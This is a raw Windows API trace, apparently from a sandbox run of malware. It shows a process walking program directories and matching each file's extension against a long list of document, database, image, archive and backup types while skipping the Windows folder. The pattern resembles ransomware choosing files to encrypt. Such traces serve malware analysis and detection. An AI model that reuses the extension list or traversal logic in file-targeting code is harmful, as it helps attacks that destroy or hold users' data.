	[0164.568] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1
	[0164.568] lstrlenW (lpString=".asx") returned 4
	[0164.569] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1
	[0164.569] lstrlenW (lpString=".avi") returned 4
	[0164.569] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1
	[0164.569] lstrlenW (lpString=".avs") returned 4
	[0164.569] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1
	[0164.569] lstrlenW (lpString=".backup") returned 7
	[0164.569] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1
	[0164.569] lstrlenW (lpString=".bak") returned 4
	[0164.569] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1
	[0164.569] lstrlenW (lpString=".bay") returned 4
	[0164.569] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1
	[0164.569] lstrlenW (lpString=".bd") returned 3
	[0164.569] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1
	[0164.569] lstrlenW (lpString=".bin") returned 4
	[0164.569] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1
	[0164.569] lstrlenW (lpString=".bmp") returned 4
	[0164.569] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1
	[0164.569] lstrlenW (lpString=".bz2") returned 4
	[0164.569] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0164.569] lstrlenW (lpString=".c") returned 2
	[0164.569] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0164.569] lstrlenW (lpString=".cdr") returned 4
	[0164.569] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1
	[0164.569] lstrlenW (lpString=".cer") returned 4
	[0164.569] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1
	[0164.569] lstrlenW (lpString=".cf") returned 3
	[0164.569] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1
	[0164.569] lstrlenW (lpString=".cfc") returned 4
	[0164.569] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1
	[0164.569] lstrlenW (lpString=".cfm") returned 4
	[0164.569] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1
	[0164.569] lstrlenW (lpString=".cfml") returned 5
	[0164.569] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1
	[0164.569] lstrlenW (lpString=".cfu") returned 4
	[0164.569] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1
	[0164.569] lstrlenW (lpString=".chm") returned 4
	[0164.569] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1
	[0164.570] lstrlenW (lpString=".cin") returned 4
	[0164.570] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1
	[0164.570] lstrlenW (lpString=".class") returned 6
	[0164.570] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1
	[0164.570] lstrlenW (lpString=".clx") returned 4
	[0164.570] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1
	[0164.570] lstrlenW (lpString=".config") returned 7
	[0164.570] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1
	[0164.570] lstrlenW (lpString=".cpp") returned 4
	[0164.570] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1
	[0164.570] lstrlenW (lpString=".cr2") returned 4
	[0164.570] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1
	[0164.570] lstrlenW (lpString=".crt") returned 4
	[0164.570] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1
	[0164.570] lstrlenW (lpString=".crw") returned 4
	[0164.570] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1
	[0164.570] lstrlenW (lpString=".cs") returned 3
	[0164.570] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1
	[0164.570] lstrlenW (lpString=".css") returned 4
	[0164.570] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1
	[0164.570] lstrlenW (lpString=".csv") returned 4
	[0164.570] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1
	[0164.570] lstrlenW (lpString=".cub") returned 4
	[0164.570] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1
	[0164.570] lstrlenW (lpString=".dae") returned 4
	[0164.570] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1
	[0164.570] lstrlenW (lpString=".dat") returned 4
	[0164.570] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1
	[0164.570] lstrlenW (lpString=".db") returned 3
	[0164.570] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1
	[0164.570] lstrlenW (lpString=".dbf") returned 4
	[0164.570] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0164.570] lstrlenW (lpString=".dbx") returned 4
	[0164.570] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1
	[0164.570] lstrlenW (lpString=".dc3") returned 4
	[0164.570] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1
	[0164.570] lstrlenW (lpString=".dcm") returned 4
	[0164.571] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1
	[0164.571] lstrlenW (lpString=".dcr") returned 4
	[0164.571] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1
	[0164.571] lstrlenW (lpString=".der") returned 4
	[0164.571] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1
	[0164.571] lstrlenW (lpString=".dib") returned 4
	[0164.571] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1
	[0164.571] lstrlenW (lpString=".dic") returned 4
	[0164.571] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1
	[0164.571] lstrlenW (lpString=".dif") returned 4
	[0164.571] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1
	[0164.571] lstrlenW (lpString=".divx") returned 5
	[0164.571] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1
	[0164.571] lstrlenW (lpString=".djvu") returned 5
	[0164.571] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1
	[0164.571] lstrlenW (lpString=".dng") returned 4
	[0164.571] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1
	[0164.571] lstrlenW (lpString=".doc") returned 4
	[0164.571] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0164.571] lstrlenW (lpString=".docm") returned 5
	[0164.571] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1
	[0164.571] lstrlenW (lpString=".docx") returned 5
	[0164.571] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0164.571] lstrlenW (lpString=".dot") returned 4
	[0164.571] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1
	[0164.571] lstrlenW (lpString=".dotm") returned 5
	[0164.571] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1
	[0164.571] lstrlenW (lpString=".dotx") returned 5
	[0164.571] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1
	[0164.571] lstrlenW (lpString=".dpx") returned 4
	[0164.571] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1
	[0164.571] lstrlenW (lpString=".dqy") returned 4
	[0164.571] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1
	[0164.571] lstrlenW (lpString=".dsn") returned 4
	[0164.571] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1
	[0164.571] lstrlenW (lpString=".dt") returned 3
	[0164.571] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1
	[0164.572] lstrlenW (lpString=".dtd") returned 4
	[0164.572] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1
	[0164.572] lstrlenW (lpString=".dwg") returned 4
	[0164.572] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1
	[0164.572] lstrlenW (lpString=".dwt") returned 4
	[0164.572] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1
	[0164.572] lstrlenW (lpString=".dx") returned 3
	[0164.572] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1
	[0164.572] lstrlenW (lpString=".dxf") returned 4
	[0164.572] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1
	[0164.572] lstrlenW (lpString=".edml") returned 5
	[0164.572] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1
	[0164.572] lstrlenW (lpString=".efd") returned 4
	[0164.572] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1
	[0164.572] lstrlenW (lpString=".elf") returned 4
	[0164.572] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1
	[0164.572] lstrlenW (lpString=".emf") returned 4
	[0164.572] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1
	[0164.572] lstrlenW (lpString=".emz") returned 4
	[0164.572] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1
	[0164.572] lstrlenW (lpString=".epf") returned 4
	[0164.572] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1
	[0164.572] lstrlenW (lpString=".eps") returned 4
	[0164.572] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1
	[0164.572] lstrlenW (lpString=".epsf") returned 5
	[0164.572] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1
	[0164.572] lstrlenW (lpString=".epsp") returned 5
	[0164.572] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1
	[0164.572] lstrlenW (lpString=".erf") returned 4
	[0164.572] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1
	[0164.572] lstrlenW (lpString=".exr") returned 4
	[0164.572] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1
	[0164.572] lstrlenW (lpString=".f4v") returned 4
	[0164.572] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1
	[0164.572] lstrlenW (lpString=".fido") returned 5
	[0164.572] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1
	[0164.573] lstrlenW (lpString=".flm") returned 4
	[0164.573] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1
	[0164.573] lstrlenW (lpString=".flv") returned 4
	[0164.573] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1
	[0164.573] lstrlenW (lpString=".frm") returned 4
	[0164.573] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1
	[0164.573] lstrlenW (lpString=".fxg") returned 4
	[0164.573] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1
	[0164.573] lstrlenW (lpString=".geo") returned 4
	[0164.573] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1
	[0164.573] lstrlenW (lpString=".gif") returned 4
	[0164.573] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1
	[0164.573] lstrlenW (lpString=".grs") returned 4
	[0164.573] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1
	[0164.573] lstrlenW (lpString=".gz") returned 3
	[0164.573] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1
	[0164.573] lstrlenW (lpString=".h") returned 2
	[0164.573] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0164.573] lstrlenW (lpString=".hdr") returned 4
	[0164.573] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1
	[0164.573] lstrlenW (lpString=".hpp") returned 4
	[0164.573] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1
	[0164.573] lstrlenW (lpString=".hta") returned 4
	[0164.573] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1
	[0164.573] lstrlenW (lpString=".htc") returned 4
	[0164.573] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1
	[0164.573] lstrlenW (lpString=".htm") returned 4
	[0164.573] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0164.573] lstrlenW (lpString="toastbeginupgradeth2.xml") returned 24
	[0164.574] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0164.574] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0164.574] FindClose (in: hFindFile=0x4140c58 | out: hFindFile=0x4140c58) returned 1
	[0164.575] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0164.575] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c0b4b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ID", cAlternateFileName="")) returned 1
	[0164.575] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID") returned 100
	[0164.575] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID") returned 1
	[0164.575] lstrlenW (lpString="en-ID") returned 5
	[0164.575] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="en-ID") returned -1
	[0164.575] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x423fbb0
	[0164.575] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID") returned 100
	[0164.575] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\*", lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c0b4b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x41409d8
	[0164.598] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c0b4b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0164.598] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0164.598] lstrlenW (lpString="index.html") returned 10
	[0164.598] lstrlenW (lpString=".1cd") returned 4
	[0164.598] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0164.598] lstrlenW (lpString=".3ds") returned 4
	[0164.598] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0164.598] lstrlenW (lpString=".3fr") returned 4
	[0164.598] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0164.598] lstrlenW (lpString=".3g2") returned 4
	[0164.598] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0164.598] lstrlenW (lpString=".3gp") returned 4
	[0164.598] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0164.599] lstrlenW (lpString=".7z") returned 3
	[0164.599] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0164.599] lstrlenW (lpString=".accda") returned 6
	[0164.599] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1
	[0164.599] lstrlenW (lpString=".accdb") returned 6
	[0164.599] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1
	[0164.599] lstrlenW (lpString=".accdc") returned 6
	[0164.599] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1
	[0164.599] lstrlenW (lpString=".accde") returned 6
	[0164.599] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1
	[0164.599] lstrlenW (lpString=".accdt") returned 6
	[0164.599] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1
	[0164.599] lstrlenW (lpString=".accdw") returned 6
	[0164.599] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1
	[0164.599] lstrlenW (lpString=".adb") returned 4
	[0164.599] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0164.599] lstrlenW (lpString=".adp") returned 4
	[0164.599] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0164.599] lstrlenW (lpString=".ai") returned 3
	[0164.599] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0164.599] lstrlenW (lpString=".ai3") returned 4
	[0164.599] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0164.599] lstrlenW (lpString=".ai4") returned 4
	[0164.599] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0164.599] lstrlenW (lpString=".ai5") returned 4
	[0164.599] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0164.599] lstrlenW (lpString=".ai6") returned 4
	[0164.599] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0164.599] lstrlenW (lpString=".ai7") returned 4
	[0164.599] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0164.599] lstrlenW (lpString=".ai8") returned 4
	[0164.599] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0164.599] lstrlenW (lpString=".anim") returned 5
	[0164.599] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0164.599] lstrlenW (lpString=".arw") returned 4
	[0164.599] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0164.600] lstrlenW (lpString=".as") returned 3
	[0164.600] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0164.600] lstrlenW (lpString=".asa") returned 4
	[0164.600] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0164.600] lstrlenW (lpString=".asc") returned 4
	[0164.600] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0164.600] lstrlenW (lpString=".ascx") returned 5
	[0164.600] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0164.600] lstrlenW (lpString=".asm") returned 4
	[0164.600] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0164.600] lstrlenW (lpString=".asmx") returned 5
	[0164.600] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0164.600] lstrlenW (lpString=".asp") returned 4
	[0164.600] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0164.600] lstrlenW (lpString=".aspx") returned 5
	[0164.600] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0164.600] lstrlenW (lpString=".asr") returned 4
	[0164.600] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0164.600] lstrlenW (lpString=".asx") returned 4
	[0164.600] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0164.600] lstrlenW (lpString=".avi") returned 4
	[0164.600] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0164.600] lstrlenW (lpString=".avs") returned 4
	[0164.600] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0164.600] lstrlenW (lpString=".backup") returned 7
	[0164.600] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1
	[0164.600] lstrlenW (lpString=".bak") returned 4
	[0164.600] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0164.600] lstrlenW (lpString=".bay") returned 4
	[0164.600] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0164.600] lstrlenW (lpString=".bd") returned 3
	[0164.600] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0164.600] lstrlenW (lpString=".bin") returned 4
	[0164.600] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0164.600] lstrlenW (lpString=".bmp") returned 4
	[0164.600] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0164.601] lstrlenW (lpString=".bz2") returned 4
	[0164.601] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0164.601] lstrlenW (lpString=".c") returned 2
	[0164.601] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0164.601] lstrlenW (lpString=".cdr") returned 4
	[0164.601] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0164.601] lstrlenW (lpString=".cer") returned 4
	[0164.601] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0164.601] lstrlenW (lpString=".cf") returned 3
	[0164.601] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0164.601] lstrlenW (lpString=".cfc") returned 4
	[0164.601] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0164.601] lstrlenW (lpString=".cfm") returned 4
	[0164.601] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0164.601] lstrlenW (lpString=".cfml") returned 5
	[0164.601] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0164.601] lstrlenW (lpString=".cfu") returned 4
	[0164.601] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0164.601] lstrlenW (lpString=".chm") returned 4
	[0164.601] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0164.601] lstrlenW (lpString=".cin") returned 4
	[0164.601] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0164.601] lstrlenW (lpString=".class") returned 6
	[0164.601] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1
	[0164.601] lstrlenW (lpString=".clx") returned 4
	[0164.601] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0164.601] lstrlenW (lpString=".config") returned 7
	[0164.601] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1
	[0164.601] lstrlenW (lpString=".cpp") returned 4
	[0164.601] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0164.601] lstrlenW (lpString=".cr2") returned 4
	[0164.601] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0164.601] lstrlenW (lpString=".crt") returned 4
	[0164.601] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0164.601] lstrlenW (lpString=".crw") returned 4
	[0164.602] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0164.602] lstrlenW (lpString=".cs") returned 3
	[0164.602] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0164.602] lstrlenW (lpString=".css") returned 4
	[0164.602] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0164.602] lstrlenW (lpString=".csv") returned 4
	[0164.602] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0164.602] lstrlenW (lpString=".cub") returned 4
	[0164.602] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0164.602] lstrlenW (lpString=".dae") returned 4
	[0164.602] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0164.602] lstrlenW (lpString=".dat") returned 4
	[0164.602] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0164.602] lstrlenW (lpString=".db") returned 3
	[0164.602] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0164.602] lstrlenW (lpString=".dbf") returned 4
	[0164.602] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0164.602] lstrlenW (lpString=".dbx") returned 4
	[0164.602] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0164.602] lstrlenW (lpString=".dc3") returned 4
	[0164.602] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0164.602] lstrlenW (lpString=".dcm") returned 4
	[0164.602] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0164.602] lstrlenW (lpString=".dcr") returned 4
	[0164.602] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0164.602] lstrlenW (lpString=".der") returned 4
	[0164.602] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0164.602] lstrlenW (lpString=".dib") returned 4
	[0164.602] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0164.602] lstrlenW (lpString=".dic") returned 4
	[0164.602] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0164.602] lstrlenW (lpString=".dif") returned 4
	[0164.602] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0164.602] lstrlenW (lpString=".divx") returned 5
	[0164.602] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0164.602] lstrlenW (lpString=".djvu") returned 5
	[0164.603] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0164.603] lstrlenW (lpString=".dng") returned 4
	[0164.603] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0164.603] lstrlenW (lpString=".doc") returned 4
	[0164.603] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0164.603] lstrlenW (lpString=".docm") returned 5
	[0164.603] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0164.603] lstrlenW (lpString=".docx") returned 5
	[0164.603] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0164.603] lstrlenW (lpString=".dot") returned 4
	[0164.603] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0164.603] lstrlenW (lpString=".dotm") returned 5
	[0164.603] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0164.603] lstrlenW (lpString=".dotx") returned 5
	[0164.603] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0164.603] lstrlenW (lpString=".dpx") returned 4
	[0164.603] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0164.603] lstrlenW (lpString=".dqy") returned 4
	[0164.603] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0164.603] lstrlenW (lpString=".dsn") returned 4
	[0164.603] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0164.603] lstrlenW (lpString=".dt") returned 3
	[0164.603] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0164.603] lstrlenW (lpString=".dtd") returned 4
	[0164.603] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0164.603] lstrlenW (lpString=".dwg") returned 4
	[0164.603] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0164.603] lstrlenW (lpString=".dwt") returned 4
	[0164.603] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0164.603] lstrlenW (lpString=".dx") returned 3
	[0164.603] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0164.603] lstrlenW (lpString=".dxf") returned 4
	[0164.603] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0164.603] lstrlenW (lpString=".edml") returned 5
	[0164.603] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0164.603] lstrlenW (lpString=".efd") returned 4
	[0164.604] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
